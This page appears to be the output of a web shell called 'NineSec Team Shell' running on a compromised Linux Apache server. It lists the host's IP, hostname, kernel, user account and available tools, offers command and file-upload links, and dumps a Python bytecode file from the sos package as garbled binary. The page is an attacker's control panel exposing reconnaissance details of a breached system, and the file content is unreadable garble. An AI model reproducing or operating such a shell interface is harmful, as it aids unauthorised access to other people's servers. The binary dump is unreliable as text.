NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/policies/distros/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/policies/distros/__pycache__/cos.cpython-36.opt-1.pyc
3

~�gj�@s8ddlmZmZddlmZdd�ZGdd�de�ZdS)�)�	CosPlugin�IndependentPlugin)�LinuxPolicycCs|j�p|j�jd�S)aHTest whether line is empty of contains a comment.

        Test whether the ``line`` argument is either blank, or a
        whole-line comment.

        :param line: the line of text to be checked.
        :returns: ``True`` if the line is blank or a comment,
                  and ``False`` otherwise.
        :rtype: bool
    �#)�strip�lstrip�
startswith)�line�r
�/usr/lib/python3.6/cos.py�_blank_or_commentsrcs<eZdZdZdgZdZdZeegZ	dZ
d�fd	d
�	Z�ZS)
�	CosPolicyzGoogle Cloud Platform�Distribution Website�0https://cloud.google.com/container-optimized-os/zContainer-Optimized OSZcosz</usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbinNTcs(t�j||||d�|jtg7_dS)N)�sysroot�init�
probe_runtime�remote_exec)�super�__init__�valid_subclassesr
)�selfrrrr)�	__class__r
rr(s
zCosPolicy.__init__)rr)NNTN)
�__name__�
__module__�__qualname__ZvendorZvendor_urlsZos_release_nameZ
os_release_idrrr�PATHr�
__classcell__r
r
)rrr
sr
N)Zsos.report.pluginsrrZsos.policies.distrosrrr
r
r
r
r�<module>s

NineSec Team - 2022